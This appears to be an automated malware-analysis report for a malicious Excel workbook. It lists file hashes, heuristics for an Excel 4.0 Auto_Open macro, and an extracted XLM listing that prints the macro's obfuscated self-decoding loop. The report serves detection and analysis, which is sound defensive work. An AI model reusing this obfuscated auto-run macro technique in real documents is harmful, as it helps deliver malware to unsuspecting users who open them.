Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bd00d6b4491fbe31…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:35 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 42b39c0e16b4ba8fc612978747f491cf SHA-1: 8501fbc6fbb8bdb24f5bd287884dcb05bb18cb91 SHA-256: bd00d6b4491fbe3121bf07f6dcaabe2ee778b856d6df3a9c38b292fca0d23d10
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6606 bytes
SHA-256: e9b71e205d1cf81f5df8ff571b754507857d5020f0a04bacb8f204f0d9a4751e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  tMBBcqBcSU
' 0018     27 LABEL : Cell Value, String Constant - anOARqxKbEyc len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D178 
' 0018     22 LABEL : Cell Value, String Constant - AzvzASQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - cTYeUzPfAp len=0 
' 0018     21 LABEL : Cell Value, String Constant - dJrHeD len=0 
' 0018     20 LABEL : Cell Value, String Constant - gPLeF len=0 
' 0018     23 LABEL : Cell Value, String Constant - GTAHgUWS len=0 
' 0018     23 LABEL : Cell Value, String Constant - iAEBMKIN len=0 
' 0018     22 LABEL : Cell Value, String Constant - jkGurGV len=0 
' 0018     22 LABEL : Cell Value, String Constant - lquqpnF len=0 
' 0018     24 LABEL : Cell Value, String Constant - LzDYUoTiA len=0 
' 0018     26 LABEL : Cell Value, String Constant - ngCMtKITbRA len=0 
' 0018     27 LABEL : Cell Value, String Constant - OlvuqXXEWmRu len=0 
' 0018     25 LABEL : Cell Value, String Constant - orTKuTtoom len=0 
' 0018     27 LABEL : Cell Value, String Constant - PkApEHIdwLlO len=0 
' 0018     20 LABEL : Cell Value, String Constant - RAOHQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - vgLduGPkPjN len=0 
' 0018     27 LABEL : Cell Value, String Constant - vkVEazJSpYrA len=0 
' 0018     21 LABEL : Cell Value, String Constant - wAKUuk len=0 
' 0018     20 LABEL : Cell Value, String Constant - WugMK len=0 
' 0018     23 LABEL : Cell Value, String Constant - XJvwaseN len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  tMBBcqBcSU,D85,"SET.NAME("gPLeF",VALUE("0"))",""
'  tMBBcqBcSU,D90,"SET.NAME("iAEBMKIN",gPLeF)",""
'  tMBBcqBcSU,D94,"SET.NAME("LzDYUoTiA",gPLeF)",""
'  tMBBcqBcSU,D98,"SET.NAME("AzvzASQ",COUNTA(vgLduGPkPjN))",""
'  tMBBcqBcSU,D101,"SET.NAME("RAOHQ",COUNTA(dJrHeD))",""
'  tMBBcqBcSU,D106,[],""
'  tMBBcqBcSU,D109,"SET.NAME("WugMK","")",""
'  tMBBcqBcSU,D111,"iAEBMKIN",""
'  tMBBcqBcSU,D116,"SET.NAME("cTYeUzPfAp",HLOOKUP("*",vgLduGPkPjN,iAEBMKIN,FALSE))",""
'  tMBBcqBcSU,D120,"jkGurGV",""
'  tMBBcqBcSU,D124,"SET.NAME("XJvwaseN",gPLeF)",""
'  tMBBcqBcSU,D126,[],""
'  tMBBcqBcSU,D128,"XJvwaseN",""
'  tMBBcqBcSU,D133,"anOARqxKbEyc",""
'  tMBBcqBcSU,D137,"wAKUuk",""
'  tMBBcqBcSU,D141,"OlvuqXXEWmRu",""
'  tMBBcqBcSU,D144,"SET.NAME("vkVEazJSpYrA",VALUE(HLOOKUP("*",dJrHeD,OlvuqXXEWmRu,FALSE)))",""
'  tMBBcqBcSU,D147,"GTAHgUWS",""
'  tMBBcqBcSU,D149,"WugMK",""
'  tMBBcqBcSU,D153,"LzDYUoTiA",""
'  tMBBcqBcSU,D158,NEXT(),""
'  tMBBcqBcSU,D162,"orTKuTtoom",""
'  tMBBcqBcSU,D165,"SET.NAME("f",INT(T(FORMULA(T(WugMK)&"",""&T(orTKuTtoom)))))",""
'  tMBBcqBcSU,D167,"lquqpnF",""
'  tMBBcqBcSU,D171,NEXT(),""
'  tMBBcqBcSU,D173,RETURN(),""
'  tMBBcqBcSU,D205,"SET.NAME("PkApEHIdwLlO",D85)",""
'  tMBBcqBcSU,D207,"vgLduGPkPjN",""
'  tMBBcqBcSU,D209,"SET.NAME("dJrHeD",R54C12)",""
'  tMBBcqBcSU,D212,"SET.NAME("lquqpnF",220)",""
'  tMBBcqBcSU,D214,"SET.NAME("ngCMtKITbRA",4)",""
'  tMBBcqBcSU,D219,PkApEHIdwLlO(),""
'  tMBBcqBcSU,D220,HALT(),""

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